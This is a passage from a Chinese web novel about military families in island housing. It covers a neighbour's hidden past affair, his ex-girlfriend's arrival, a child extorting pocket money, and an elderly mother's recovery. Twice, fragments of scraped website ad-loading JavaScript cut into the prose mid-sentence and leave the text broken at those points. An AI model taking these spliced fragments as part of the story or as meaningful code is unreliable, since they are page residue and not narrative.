吴旭东笑笑:“不好吗?得罪人的事不都你干了。” 孙谦郁闷了:“感情你是怕得罪人才谦让给我当的?” “哪有,是你优秀。”吴旭东跟着周子琰学了些吹捧人的本事。 千穿万穿马屁不穿,他就不信孙谦还会再纠缠这事。 果然,孙谦只得无奈地结束这个话题。 起身问道:“我去买菜,要帮你带吗?” “不用,等会我自己去。”吴旭东不需要赶时间,他跟菜场熟悉的摊位老板约好了,每天给他留一份新鲜的。 蔬菜,鱼肉,都有,交替着来。 他只要在对方收摊之前去拿回来就行。 孙谦哪里知道这些,只当他偷懒,忍不住语重心长:“你还是早点去吧,晚了就没有好的了。” “我预订了,没事。”吴旭东正在用心编织一匹可爱的小马。 图样是周子琰画的,学了日漫的风格,卡通版,大眼睛,小身板,线条圆润,没有棱角,小婴儿专属的可爱。 为了尽量贴合图样,吴旭东专注得很,要等小马这段织好了再做别的事。 孙谦服了:“好吧,忘了你是当老板的人了,想得比我周到。” “还是你周到,你那公约我就想不出来。谢谢你啊,为了让大家住得舒服点,费心了。”吴旭东夸了夸他。 孙谦很受用,终于发自内心的笑了:“你变了,以前没有这么好说话的,也没见你夸过谁。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有吗?” “当然。” “那就好,不能给我家子琰拖后腿。” “……”聊个天而已,这都要秀一把恩爱。 孙谦服了,转身离去。 吴旭东忙完,去菜场拿了蔬菜和海虾回来。 路过杂货店门口时,好像看到了一个熟悉的身影。 不过太快了,一晃而过。 他也没太在意,以为自己看走眼了。 等他去粮油店沽了一桶油出来,他终于意识到,自己没有看走眼。 一个烫了大波浪穿着红色长裙踩着高跟鞋的女人,正提着一购物袋的日用品,从对门的杂货店出来。 见到吴旭东,女人很是热情:“呦,东姐夫,两年没见了,你还是这么帅啊!” 吴旭东好奇:“云朵,你来探亲?” “探什么亲啊,我结婚了,昨天刚搬过来,今天正在认路呢。”云朵撩了把额前的头发,笑着问道,“你也自己做饭啊?” “嗯。”吴旭东有点想笑,这个孙谦啊,惨咯。 还好云朵住男兵的家属楼,暂时跟孙谦碰不上。 不过他还是问了问:“你爱人是?” “挖泥船小队的队长,胡鹏飞,正连级。”云朵看看手表,该回去做饭了,便跟吴旭东挥了挥手,“你住六号楼吧,有空去找你玩。” 啊这…… 吴旭东没有接话。 云朵却笑着自说自话:“怎么,不欢迎我啊?放心,我不是去找你的。我知道你家周指导快生了,刚好呢,我妈是助产士,所以我懂一些产前护理。难道你不想让我帮她做做功课?演练一下生产时的注意事项也是好的。” “那你晚上再来吧。”白天就算了,孤男寡女的,像什么。 云朵笑笑,状似不经意的问道:“行啊,你们楼道里的男家属不难相处吧?我要不要一个一个登门拜访一下啊?” “……”吴旭东总觉得她是故意的,多半知道孙谦在这里,他摇了摇头,“不用客气,以后会熟悉的。” “是啊,会熟悉的。”云朵深吸一口气,转身摆了摆手,“再见东姐夫。” 吴旭东目送她大步流星的远去,总觉得孙谦的好日子到头了。 回到六号楼,他忙着做饭,琢磨着要不要给孙谦说一声。 做完饭去孙谦家里一看,居然没人。 那算了,自求多福吧。 很快,女兵们回来吃午饭了。 吴旭东拿着蒲扇在大门口等着,要扶周子琰上楼。 女兵们有的认识他,有的却是头一次见他。 不禁好奇起来。 你看看我,我看看你,都不是对方的家属,只得齐刷刷看向了走在最后的周子琰。 没办法,月份大了,以前健步如飞的周指导,如今小心得跟什么似的。 没等女兵们打招呼,吴旭东便飞奔上前,扶住了周子琰:“怎么不打伞,太阳这么毒。” “不知道被谁拿走了,气死我了。”周子琰叹气,“家里还有吗?” “有,你拿我用的那把,下午我重买几把放着。”吴旭东举起蒲扇,给她挡挡太阳。 两人亲亲热热的走着,路边的女兵们纷纷注视着他。 有个跟周子琰相熟的女兵主动打了声招呼:“周姐,这就是姐夫吧,真体贴。” 周子琰笑笑,给吴旭东介绍了一下。 说话的是刘敏杰,肤色跟李七海一个色号。 也留了板寸,个头比周子琰矮一点,膀子上的肌肉却跟周子琰一样饱满有力。 大眼睛,国泰民安的老好人脸型,圆润和气。 她今年二十五岁,在防空营服役,负责设备的维护和日常运转。 之前她住四号楼,吴旭东又很忙,没见过面。 这是周子琰亲自带出来的,对周子琰很是敬重。 说话的时候满脸都是笑。 吴旭东客气地点点头,顺便认识了一下其他几个人。 打完招呼,他继续扶着周子琰上楼,其他人则落后几步,盯着他们远去的背影。 一个单眼皮瓜子脸的女兵说道:“敏敏,你也太上赶着了吧?我家孙谦说他不好相处啊。” “谁说的,之前他们楼里的纠纷就是他调解的,还给好多人安排了工作呢。”刘敏杰对周子琰有滤镜,爱屋及乌,自然觉得姐夫也是好的。 冯薇不说话了,算了,人家跟周子琰关系好,听不进去的。 几个人在楼梯口停下,注意到了张贴的楼道公约,目瞪口呆。 不免嘀咕起来。 “这公约好是好,可是,有点太严格了吧?连停车和晾衣服都要管啊。” “这样也好,划分明确,免得说不清楚。” “真不知道是谁想出来的,比上学时的宿管大妈还严厉。” 冯薇不说话,心虚的移开了视线。 不用问,肯定是孙谦。 有几个跟她相熟的也猜出来了,纷纷把目光投向她。 她却装作不知道,笑道:“宿管大妈也是为了大家好嘛,权责明确,住着才舒服。” 众人撇撇嘴,上楼去了。 刘敏杰回到家,刚端起饭碗,雀斑脸的男人便打起了小报告:“敏敏,今天选了楼长,那群人都跟二百五一样,选了孙谦,只有我选了姐夫。” “我猜到了,只有孙谦会这么一板一眼的定规矩,之前他在五号楼惹了不少人埋怨呢。”刘敏杰无所的扒拉着饭菜,“不过这样也好,有助于提升整体素质。” 曹景润端着碗筷坐下:“周姐家这三个月的打扫任务被李七海包了,本来我想举手的,可是我一想到他家缺钱用,就没跟他争。” “嗯,我男人最好了。奖励你一个大鸡腿,快吃。”刘敏杰笑着拍拍他的脑袋。 曹景润笑了,露出两个可爱的小酒窝:“对了,我今天买菜的时候,遇到了一个女人。” “怎么?”刘敏杰吃饭狼吞虎咽的,已经起身加饭去了。 曹景润则细嚼慢咽的,斯文秀气得很。 他追逐着心上人的背影:“那女人一直在打听孙谦的事,我没多嘴,故意在旁边多挑了会儿蔬菜,听了一耳朵。” “哦?找孙谦的?是不是他在五号楼得罪了人?”刘敏杰没有多想。 曹景润摇摇头:“我看不像,她提到孙谦的时候,酸不溜丢的,你说,会不会是孙谦招惹的烂桃花啊?” “管他呢,你记好了,专注自家,不要参与这些是非。”刘敏杰时刻记得周子琰的教诲,决不允许自己男人搀和那些鸡零狗碎的纠纷。 曹景润点头:“放心,我记着呢。今天选楼长我也没有插嘴,只用投票说话。” “我家景润最棒啦,我很放心。快吃,吃完了让我搂着,我要睡觉。”刘敏杰喜欢搂着这个男人,像个八爪鱼一样缠住他的四肢睡觉。 曹景润脸红了,赶紧吃完洗了碗筷,睡午觉去。 刚躺下,中间楼道那边传来了一个女人的声音:“周姐,姐夫,在家吗?我是云朵,今天我家做了老鹅汤,我给周姐送点儿补补身子。” 隔壁的隔壁,孙谦忽然惊坐而起,谁? 云朵? 卧槽,她怎么来了? 64. 劈腿 云朵进来送了老鹅汤就走了。 知情识趣,并没有打扰周子琰午休。 “她说她晚上再来。”吴旭东关了门,回到房间。 周子琰感慨:“咱俩结婚的时候,我就觉得他们两个走不长,没想到真分了,还都卯着劲儿做了军属。” “我总觉得云朵还没放下孙谦,他们俩今后要是闹出什么笑话来,那就糟了。”吴旭东并不想多管闲事。 但是这栋楼的住户太少,到时候真要是闹起来,肯定会影响他老婆休息。 与其这样,不如未雨绸缪。 周子琰也有同样的担心:“一般初恋分手后,走不出去的是女方居多。你抽空敲打敲打孙谦,我也提醒提醒云朵。” “好。” 不过不等吴旭东去找,午休一结束,孙谦自己就跑了过来。 他紧张兮兮的问道:“午休那会儿我没听错吧?云朵来了?” “嗯。”吴旭东还在打毛衣,小马的那一段织完了,现在继续往上,快到肩膀和领口了。 孙谦虚脱一般跌坐在沙发上:“完了,要是让我老婆知道,非得跟我闹。” “那也是你活该。”吴旭东不同情他,谈婚论嫁,重要的就是诚实。 建立在谎言上的婚姻,能好才怪了。 孙谦不否认,但还是厚着脸皮道:“你们帮我问问云朵想做什么,我尽量满足她,只要她不闹到我老婆跟前就行。” 吴旭东眯眼打量着他,问道:“如果只是彩礼不够,你不至于这么大惊失色,说吧,还瞒了我什么?” “我……”孙谦张了张嘴,对上吴旭东看破一切的目光,脸上火辣辣的。 最终只得低着头,陷入了沉默。 盛夏的穿堂风很大,咸涩的海风里,传来阵阵栀子花的香味。 孙谦抬头,看了眼摆在窗口的盆栽,默默叹了口气:“没想到什么都瞒不过你。” “快说。”吴旭东没有耐心为了他的事情浪费时间。 孙谦烦躁地抓了抓头发:“我骑驴找马了。” “哦,劈腿了。”吴旭东不奇怪,大学那会儿追求孙谦的人就不少。 人可是班长,虽然是千年老二,但那成绩也是拿得出手的。 毕业后前途无量。 乱花丛中过的男人,没几个能做到片叶不沾身。 沾了花枝乱叶的男人默默叹气。 吴旭东换了个毛线团:“所以彩礼是借口。” “……”孙谦惊讶地看着他,这都能猜到? 他不否认。 那就是承认了,吴旭东嫌弃得很:“渣男!” 孙谦别过头去,没有争辩。 吴旭东又问:“你跟人云朵,有没有婚前同居?开过房也算。” “这个重要吗?”孙谦有种错觉,总感觉自己是个犯人,而吴旭东是他的审判者。 他不想回答。 吴旭东知道了:“那就是有了,禽兽。谁要是敢对我姐姐妹妹这样,我弄死他的心都有了。” 孙谦很难受,坐如针毡,可他明明站了起来,又重新坐了回去。 他还需要吴旭东帮忙,再难受也得忍着。 吴旭东不客气的问道:“没闹出人命吧?” “怎么可能,我跟她和平分手。”孙谦赶紧澄清。 “你管劈腿后借口彩礼不够的分手叫和平?看来我的见识还是不如你,领教了。”吴旭东停下手里的动作,“我再问你一次,有没有闹出人命?你应该知道,我问的不是大人。” “我可以拒绝回答吗?” “那我也可以拒绝帮忙。” “行,你就当我没来过。” “那就是有。孙谦,你真不是个东西。” “你以为我想吗?她很爱跟人攀比,花钱大手大脚的,我一个月工资根本不够她造的。我也是受不了了才找人相亲的。” “那你可以管好你的裤.裆,也可以分手了再找。” “我也没想到会这样,她自己算了,是安全期。” “嗯,闹出人命了,真安全。” “一直挖苦我,有意思吗?” “你自己跑过来说的,我可没逼你。我是什么人你该知道,大学四年,我没给过谁好脸色。” “那你确实没变,我还以为你现在会合群一点。” “总比闹出人命的好。” “看来你是不想帮我了。” “我只能说,我会尽量劝云朵,远离你这种人渣。要不然伤害的是她自己。” “这不就得了,让她离我远点,越远越好。” 孙谦不想再接受吴旭东的道德审判了,起身离去。 吴旭东不客气道:“请人帮忙连谢谢都不会说吗?” “谢谢。”孙谦掀开门帘,没有回头。 “口头的感谢多没劲,三个月后我的打扫任务你代劳一下吧,等我孩子断奶了我再自己来。”吴旭东趁火打劫。 送上门的把柄,不用白不用。 孙谦无语了,回头凝视着这个气定神闲的男人:“你怎么这么鸡贼呢?” “少废话,我帮你解决隐患,你帮我打扫,谁赚了谁心里有数。”吴旭东继续织毛衣。 孙谦默默叹了口气:“好,我赚了,谢谢啊。” “不客气,楼长慢走。”吴旭东头都没抬。 孙谦放下门帘,回到走廊上时忍不住打了个哆嗦。 总觉得这个吴旭东比大学时代更不好惹了。 他就不该被上午的那几句好听话给骗了。 * 晚饭时间,吴旭东跟周子琰说了说这事。 周子琰一点也不意外:“云朵追到海岛来,一看就是气不过。” 只有被辜负的人,才会耿耿于怀。 吴旭东放下筷子:“等会她来,你劝劝她,我跟她说这些不合适。” 他要避嫌。 周子琰蹭蹭他的胡茬:“还用你说?傻不傻。等会你不用出来。” “好。”吴旭东赶紧洗碗刷筷去。 刚忙完,大哥大响了。 汤正阳打来的。 “大哥,什么事?” “小旭,咱妈开口说话了!” “什么?真的!!!” “真的,她刚喊我阳阳!” “太好了,你哪天走,我明天回家看看。” “不急,这次我会多待几天,正好小巷和丰登要回来办酒,到时候一起。” “哪天,我问问子琰有没有空。” “三天后。” “那就好,她能去。” “小旭啊,还有呢。” “怎么?” “咱妈吃饭不洒啦!” “都是小姨的功劳,咱得好好谢谢她!” “嗯,咱哥俩一起凑点钱送她一套小公寓吧?” “好,没问题,应该的。” “跟子琰说一声,不要自作主张。虽然她不会反对,但这是起码的尊重。” “嗯,明白。” “那我挂了,照顾好子琰。” “好。” 吴旭东解开围裙,赶紧跟周子琰通气。 周子琰非常开心:“真的?那真是太好了,钱的事你自己决定就好,该花就花。我那点工资能有多少,比不得你做买卖赚得多。” “话不是这么说的,咱俩结婚了,就算我成了世界首富,那也是咱们的共同财产,花钱我要跟你商量一下的。”吴旭东没有那些大男子主义的臭毛病。 不管是经济上还是情感上,他都需要尊重周子琰的想法。 周子琰笑着抚摸他的脸颊:“好,商量一下,我没意见。” “子琰你真好。”吴旭东低头,嗪住了她的手指尖。 周子琰被他弄得心痒难耐,起身冲个澡,冷静冷静。 毕竟孕晚期了,不敢胡来。 刚从浴室出来,敲门声响起。 “周姐,我是云朵。” 吴旭东赶紧回了卧室。 周子琰开门:“呦,云朵,气色不错啊。” “周姐气色也好。”云朵看了眼她的肚子,“周姐是不是刻意节食了,看你的肚子不像是七八个月的。” “没有啊,我吃得很多。”周子琰让她进来。 云朵还是觉得不像:“像六七个月的,估计是后置胎盘。” “嗯,是后置胎盘,这都能看出来吗?”周子琰让她坐,起身去厨房端个果盘出来。 吴旭东提前准备好了。 云朵没有客气,拿起一根香蕉吃了起来:“当然能看出来啊,不过就算是后置胎盘,你这肚子也算是小的,估计到时候会好生一点。” “好生就好。”周子琰坐下,静静地打量着云朵,有些话必须找个合适的契机切进去。 太突兀了就是不尊重别人了。 所以她暂时没提孙谦的事,只是问道:“听说你男人是挖泥船小队的?” “是,他叫胡鹏飞,是我中学同学。他挺佩服你的,一听说我认识你,就让我多走动走动。”云朵笑得很真诚,不像是装的。 这让周子琰稍微放心一些,点头道:“你家老胡人不错,去年来台风,附近渔民翻了船,就是他带人去救的,还拿了三等功。” “是啊,要不然他还得等两年才能升到正连级。” “老天不会辜负努力的人,跟他好好过。” “嗯,结婚了肯定要好好过的,他很疼我,怕我在岛上人生地不熟的,还特地让他朋友的老婆陪我转转。” “那就好,两口子成了一家人,互相体谅是应该的。” “是啊,一些不开心的事我就不会跟他说,免得他担心。”云朵话里有话。 她想知道孙谦有没有跟吴旭东坦白他们的事。 周子琰递了块西瓜给她:“挖泥船小队最近不太忙,真要是遇到什么麻烦事,还是让他跟你一起分担的好。” 这话让云朵非常难受,根本没办法判断周子琰知道了多少。 只得继续试探:“他确实帮我分担了很多,就连我去医院做手术,都是他全程陪同的。” “那他对你真是不错,你要好好珍惜啊。”周子琰听懂了,她在暗示打胎的事。 看来胡鹏飞是知情的,没有瞒着就好。 至于介不介意云朵婚前打过胎,那是胡鹏飞自己的事。 不过她的回答,还是让云朵探不到底,索性自嘲道:“放心吧周姐,我心里有数。这世上的好男人不多,我可不会犯糊涂。” “那就好,过去的都过去了,吸取经验教训,保护好自己最重要。”周子琰看看时间,不早了,“我要休息了,改天找你玩。” “好,周姐你回吧,不用送了。”云朵终于试探出来了。 最后那句保护好自己,就是她想要的答案。 他们的事情周子琰都知道了。 孙谦这个大嘴巴。 她得找个机会警告警告这个男人。 胡鹏飞虽然知道她谈过一个,还陪她去做了人流,可是并不知道那人就是孙谦。 好在胡鹏飞自己也谈过,都到谈婚论嫁的地步了,结果女方反悔了。 瞒着他找了个煤老板,还把孩子打了。 所以在感情史上,她跟胡鹏飞半斤八两,没什么好愧疚的。 不过她得承认,她跟胡鹏飞在一起,本就目的不纯。 他们是两个被抛弃的人,一起取个暖。 不过她还有赌气的成分在。 孙谦不是找了个女兵吗? 那她就找个男兵。 故意到他眼皮子底下晃荡,恶心不死他。 不过晃荡归晃荡,她可不想让胡鹏飞生气。 自然不想让周子琰他们声张。 好在周子琰是个善良的女人,不会为难她的。 她终于放心了,打起精神,回去帮胡鹏飞搓澡。 * 孙谦晚上翻来覆去睡不着觉。 总觉得云朵是来找他麻烦的,第二天一早便来找吴旭东。 吴旭东冷着脸,不想搭理他:“别烦,我今天有事,等会要回去。” “就说五分钟。”孙谦今天太着急了,都忘了敲门了。 把门掩上,他小声靠近:“云朵昨天说什么了?” “没什么,人家想跟胡鹏飞好好过。”吴旭东正在做饭,周子琰今天没空,他怕自己午饭时间赶不上回来,提前给她做好。 孙谦松了口气:“那就好。” “至于你老婆那边,我劝你还是坦白从宽的好,要是她从别人嘴里知道了,绝对不会饶了你。”吴旭东动作利索,已经把饭菜盛出来了,解开围裙,洗把手就走。 孙谦拒绝:“不行,她脾气不好,我不能让她知道,你们别说就是了。” “我肯定不会说,我家周指导也不是多事的人。不过孙谦,我可提醒你,女人的第六感是很准的,再说了,你跟云朵还有共同的朋友,纸是包不住火的,你自己看着办吧。”吴旭东服了,骗人上瘾了是吧,还要继续骗下去,啧。 孙谦没有说话,只盯着忙碌的吴旭东,犹豫再三,还是出去了。 他自己找云朵谈谈好了,这岛上只有云朵和吴旭东,周子琰知道他们的关系。 从源头上截断,那就没有麻烦了。 也许是巧合,也许是注定,他刚到菜市场,就看到了谈笑风生的云朵,身边围着几个军嫂,看起来相处融洽。 两人视线对上,云朵有明显的卡顿,不过她还是迅速调整过来,跟小姐妹八卦隔壁的乐子去了。 孙谦不远不近的跟着,别人买韭菜他也买。 别人称排骨他也称。 以至于离开菜市场的时候,他才反应过来,这怕是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 四五家的菜量。 一时懊恼,又不好退还,只得全部拎了回去。 为了腾地方,不得不把冰箱里其他的东西拿出来。 正在跟家里的冰箱较劲儿,楼梯那边响起了云朵的声音:“东姐夫,在家吗?” 无人应答,她便顺理成章的到其他人人家问问。 不知是有意还是无心,总之,她走到了孙谦家门口。 四目相对,曾经恩爱过的时光呼啸着涌来。 像是一桶滚烫的辣椒水,劈头盖脸,浇得云朵瞬间红了眼眶。 她掐了把自己的手,强作镇定,问道:“你好,知道周姐的爱人去哪儿了吗?我给他家孩子送点旧衣服过来。” 给即将出生或者刚出生的小婴儿送自家晚辈的小衣服,那是善意,是祝福。 孙谦推了推眼镜,掩饰内心的慌乱,起身道:“他回家去了,你要是没空,放我这吧,等他回来我拿给他。” “不用,我中午再来吧,亲手交给周姐。”云朵放下门帘,做了个招手的动作,转身离去。 孙谦犹豫片刻,没有追。 赶紧把食材塞好了,故意拖延了十几分钟,这才锁了门出去了。 按照两人热恋时期的习惯,她要是有事找他,会去人少的风景好的地方。 孙谦站在门口马路上看了一圈,最终坚定的往远处的乱石滩走去。 路上还不忘进五号楼,找认识的人借了个水桶和铲子。 果然,云朵也在那边捡螃蟹。 孙谦尽量漫不经心地走过去,隔着一段距离,一点一点往她那边靠近。 附近看起来没有别的人在。 因为很多人家都有小孩,这会儿正是大家洗衣服做饭的繁忙时间,所以海鲜什么的都是尽量去菜市场买的。 再说乱石滩这边经常有小孩过来捡,要有好的也轮不到他们。 这给两人制造了天然的说话机会。 云朵靠近些,小声道:“除了周姐那边,你没有跟其他人说咱俩的事吧?” “没有。”孙谦蹲在地上撒盐,跟蛏子斗智斗勇,背对着云朵说话。 云朵放心了:“你什么时候还我钱?” “什么钱?”孙谦一头雾水。 “打胎的钱!”云朵气死了,“你这个渣男,总不至于让我自己掏钱吧?还钱。” “多少?” “你自己看着办,还有我的营养费,精神损失费。” “给你五百,再多没有。” “一千!” “真没有。” “那就先给五百,剩下的分十个月给我。” “行,只要你不找我老婆胡闹。” “我才懒得搭理她。” “钱我下午给你,你中午别去送衣服,就说你忙不过来,下午要是吴旭东不在,你再去我家问问。他要是在的话就先不给你钱了,下次再找机会。总之,别让别人看出来。” “你可别耍赖。” “不会,花钱消灾,我求之不得。” “我在你眼里就是灾害是吧?” “不是这个意思。” “是不是的你心里有数。” “你这身衣服不便宜吧?” “那又怎么样?我男人家里有钱,我公婆爱给他儿子儿媳花,你管得着吗?” “跟你分开是对的,我可养不起你这样的拜金女。” “谁稀罕你养似的,滚。” “那我滚了,再见。” 云朵气死了,抬腿对着他的后背踢了一捧海水。 孙谦瞬间成了个落汤鸡,气得黑着脸快步离开了海滩。 云朵气顺了,继续捡贝壳,免得被人看到她跟孙谦一起离开。 等她走了,蹲在石头后面陪儿子抓寄居蟹的李七海才直起身来。 不禁跟他儿子大眼瞪小眼。 “二蛋,出去可别乱说。”李七海手足七个,不过他只有一个哥哥,所以他儿子的排行是跟他哥家的孩子一起算的。 李二蛋点点头,想起自己要买的那套连环画,心里有了主意。 于是趁着李七海回去做饭的时间,他屁颠屁颠跑到了孙谦家里。 讹钱。 这小子猴精猴精的,也不直说自己知道了孙谦的秘密。 而是笑着暗示道:“孙叔叔,我妈上次跟冯阿姨借的杂志被我弄坏了,我想重买一本还给冯阿姨。” “那你回家找你爸要钱啊。”孙谦无语了,弄坏他老婆的东西已经够过分了,难不成还要找他要钱? 李二蛋咧嘴笑,门牙掉了,黑洞洞的,像是藏着什么不为人知的腌臜。 他继续暗示:“我爸知道了会打我的,还会让我妈一起打我,我也不能傻愣着挨打,要是不小心撞上什么云朵阿姨,什么星星阿姨的,那多不好。” 正在炒菜的孙谦猛地停下了手里的动作。 他把煤气灶关了,走近几步,眯眼打量着这个熊孩子:“什么云朵阿姨星星阿姨?” “就是在海滩那里捡螃蟹的那个啊。”李二蛋一点也不怕他,笑得那叫一个灿烂。 孙谦头疼欲裂。 一把将他扯进来,关上门,问道:“你都知道什么了?” “我不要一千块,你给我五块就行了。”李二蛋很滑头,就是不肯正面回答。 不过这句话已经足够说明一切。 孙谦认栽,闭上眼,深吸一口气,他压下内心的怒火,回房拿了五块钱给他,警告道:“管好你的嘴巴,要不然我让你爸爸揍你!” “放心吧孙叔叔,我就说这钱是我捡的。”李二蛋高高兴兴的出去了。 去小卖部买了自己心心念念的连环画,还有多余的钱买了一把大白兔奶糖,最后剩下七毛,也不想浪费,买了一小包瓜子,五颗水果糖。 孙谦正在盛菜,听着门口蹦蹦跳跳哼着歌谣的混小子,气得头晕目眩,却又无可奈何。 * 吴国正把房子卖了。 在同小区的不同楼层买了套新的。 三室一厅,一个房间给他和老妻住,一个房间给罗素漪,剩下一个给汤正阳。 毕竟手足四个就只有他没结婚了,别的孩子都买了房,不缺地方住。 这会儿吴旭东正兴奋的蹲在阳台上,看着颤颤巍巍叠纸鹤的妈,喜极而泣。 “这都是咱妈自己叠的?”他简直不敢相信。 汤正阳笑着给他擦去泪水:“嗯,小姨教她的。她这病不光需要耐心,还需要不断的让她忙起来,手和脑子都不能停。咱爸一个人劳累十几年,脑子都退化了,到底不如小姨点子多,你看,效果多好。” “是啊,太好了。”吴旭东激动不已。 刚准备去厨房帮忙盛饭,就听他妈念叨道:“东东,子琰,生闺女。” 什么? 吴旭东猛地回头,震惊不已。 65. 惊喜 吴旭东想要的就是闺女。 如果可以心想事成,当然再好不过。 可是,这话由一个还没有康复的脑伤患者说出来,非常惊世骇俗。 以至于他怀疑自己听错了。 回到阳台,蹲下握住老人家的手,他问道:“妈,知道我是谁吗?” “东东乖……”谈三娘放下手里的纸鹤,轻轻抚摸着小儿子的头,“闺女,好。” 是啊,闺女好,闺女的奶奶好转了更好。 吴旭东高兴坏了,脸颊蹭了蹭老妈的手心:“你要当奶奶啦,开心吗?” “奶奶,开心。”老人家语速很慢,也无法说出完整连贯的字句。 不过即便是这样,也是巨大的进步,而且,关键信息都给出来了,不影响理解。 吴旭东一时激动,顾不得赶回去,就蹲在阳台上傻乐。 汤正阳不放心,问道:“你又把子琰一个人扔岛上啊?” “我刚回来之前去过丈母娘家里了,他们会去陪她的。”吴旭东不是做事欠考虑的人,已经提前安排好了。 汤正阳欣慰地点点头:“那就好,月份大了,出入更要小心。怪了,咱妈怎么知道你们要生闺女,是不是说着玩儿的?” “我看过一本科学杂志,国外的科学家做过一些实验,据说有一些脑伤患者会预知未来的事情。”吴旭东只能想到这个可能。 科学的解释,是患者的脑电波受到了影响,可以跟什么磁场产生反应,看到未来发生的事情。 汤正阳若有所思,干脆也蹲下,问道:“妈,蕾蕾会跟我结婚吗?” 吴旭东想笑,原来大哥也有拿不准的事情啊。 不过这个问题,他也想知道。 如果他们两个真的结婚了,那么安小蕾既是他的姨姐又是他的嫂子,而大哥既是他的大哥,也是他的姐夫,真好玩。 不过,这个问题,他们的妈妈拒绝回答。 只是念叨着:“奶奶,开心。闺女,好。” 吴旭东赶紧安慰失望的大哥:“可能咱妈还预测不了明年的事情,过阵子你再问问。” “嗯。”汤正阳俯身,扶着老人家,“走吧小旭,吃饭。” * 周子琰中午回来,刚到门口路上,便看到了一个熟悉的身影。 背着双肩包,一身纯白的运动服,穿着白色球鞋,撑一把印着铁臂阿童木的遮阳伞,靠在大院外的院墙上,安静地等着。 还没等她开口,周子琛便注意到了她,赶紧迎上去:“姐,回来了。” “子琛,你怎么来了?”周子琰有阵子没见到他了,很开心,下意识加快了脚步。 周子琛一路小跑到她跟前,给她遮住太阳:“姐夫说他今天没空,爸妈去公司了,所以我来照顾你。” “你会照顾人?”周子琰不想打击他。 周子琛笑着扶好她:“不就是不会做饭嘛,陪你上下楼还是可以的。午饭姐夫说他做好了,回去我给你热热。” “你的小说怎么样了?”周子琰知道他不爱应付那些人际关系,就喜欢家里蹲,所以她支持他。 做个自由自在的作家没什么不好的,这世上并不是每个人都需要去职场厮杀,拼得面红耳赤,斗得血脉喷张。 斯斯文文的小伙子,做个安静如画的作家,正合适。 周子琛笑笑:“刚卖了影视改编权,这次是香港那边的影视公司,报价很高。” “可以啊子琛,姐看好你,日后肯定是大富豪。”周子琰很为这个弟弟骄傲,他跟二姐一样喜欢看书,多年耕耘终于有了收获,真好。 周子琛在楼梯口停下,注意到了眼前这份严厉的楼道公约,忍不住吐槽:“是孙谦定的吧?” “你姐夫说的?” “不,我认得他的字。在学校的时候,他就是学生会的干部,特别爱出风头。” “嗯,是他,不过没事,你姐夫暂时不用打扫。” “花钱了?” “前三个月花钱了,后面一年不花钱,有人包了。” “谁啊,乐山大佛吗?” “孙谦。” “他有把柄在姐夫手里?” “这都能猜到?” “那肯定啊,他又不是傻子,一年的活儿多累啊。” “嗯,他跟……”周子琰看了眼楼上探头探脑的李二蛋,止住了话音,“回家说。” 周子琛扶着她上楼:“你们这楼,怎么这么多楼梯?” “为了通风和采光,每家都是南北通透的户型,明卫,明厨,客厅有穿堂风。”周子琰拿出钥匙开门,“正好我多配了几把钥匙,等会你带一把回去。” “爸妈有,给我了,我不好意思直接开门进来。”周子琛虽然懒,不爱做家务,不过他格外看重对姐姐隐私的尊重。 万一他冒冒失失的开门进来,看到什么不方便的东西多不好。 所幸,他想多了。 屋子里收拾得干干净净的,地板拖了,茶几擦了,就连窗口的几盆花草也都浇过水了。 不禁感慨:“姐夫真是个居家好男人。” “坐吧,我来热饭。”周子琰把窗户开开透气,转身进了厨房。 周子琛赶紧去帮忙:“我来学着做吧,你教我。” “不要,我好好的厨房,不想被你炸了。”周子琰想起某些糟糕的过往,赶紧把他往外撵。 周子琛哭笑不得:“那会儿我还小嘛。” “不要就是不要。”周子琰才不想给自己男人制造麻烦,热个菜又不费事,炸了厨房可就难说了。 周子琛只好坐回沙发上,拿出报纸,翻看起来。 吃饭的时候,远处走廊上响起孩子的哭闹声。 周子琰怀着身孕,不方便出去劝架,周子琛二话不说起身出去了。 他对八卦不感兴趣,只是大中午的,他姐还要午休呢。 他跑到吵闹的源头,冷脸打量着这家人。 但见一个头发贴头皮的壮实女人,正抓着鸡毛掸子揍孩子。 一个七八岁的小男孩捂着屁股,直往他爸爸身后躲,一边躲,一边哭:“我说了是捡的就是捡的,你不信你问我爸,他有没有给我钱!” 女人知道她男人护短,才不会问李七海呢,抄起鸡毛掸子,继续揍。 李七海赶紧拦着点,解释道:“英子,我真没给他零花钱,家里的开销我都记了账的,这我能骗你吗?五块钱够咱家买好几天菜了,我又不是傻子。孩子说是捡的肯定就是捡的,别生气了,啊。” 王英本就女生男相,又留着极短的头发,身材高大将近一米八,浑身肌肉跟铁疙瘩一样吓人,乍一看就像个大老爷们。 加上她怒目圆睁,越发显得眼睛似铜铃,眉毛像擀面杖。 然而她的声音却是极其柔和,极其婉转的。 如果只闻其声不见其人,多半会以为这是个娇羞软糯的小娇妻。 如此巨大的反差,让准备怼人的周子琛目瞪口呆。 哎呀,他正在构思的新书里头,正缺这么一个生动活泼让人印象深刻的角色。 虽然他也给角色设定了魁梧的身材,男性化的外貌,可是远不如加上反差的声音来得精彩。 这简直就是画龙点睛啊! 以至于他顾不得怼人,扭头便跑,回到姐姐家里,打开背包,拿出灵感记录本,把这个女人的特征记了下来。 写完再次跑了出来,不客气的开怼:“吵什么吵?大中午的,别人不要休息吗?要管孩子关上门回家里管,真没有公德心。” 王英没注意他从哪里冒出来的,冷眼打量着他,很想不客气的骂回去。 李七海赶紧扯了扯她的膀子,挤眉弄眼的,让她注意影响。 王英是个暴脾气,哪里听得进去,甩开李七海就想吵架。 周子琛冷笑:“跟我吵没用,你儿子这钱无非就是四个来路,要么真是他捡的,要么是他偷的,再或者,是他找人讹的骗的。” “胡说,我儿子不可能做偷鸡摸狗的事情!”王英恼了,压根没有意识到自己上当了。 周子琛微微一笑:“你看,你也不信这钱是你儿子偷的讹的骗的,你男人又没给,那肯定是捡的咯。那你吵什么?” ……王英沉默了。 好像……好像无法反驳。 她皱眉打量着这个男人,还想说点什么,李二蛋抢着提醒道:“妈,这个叔叔是从周阿姨家里出来的。” 王英刚才顾着打孩子没注意,孩子这一提醒,她终于明白李七海为什么那么紧张了。 只得勉强挤出一个笑脸:“你是?” “我姓周。”周子琛不想啰嗦,知道他姓什么就行了。 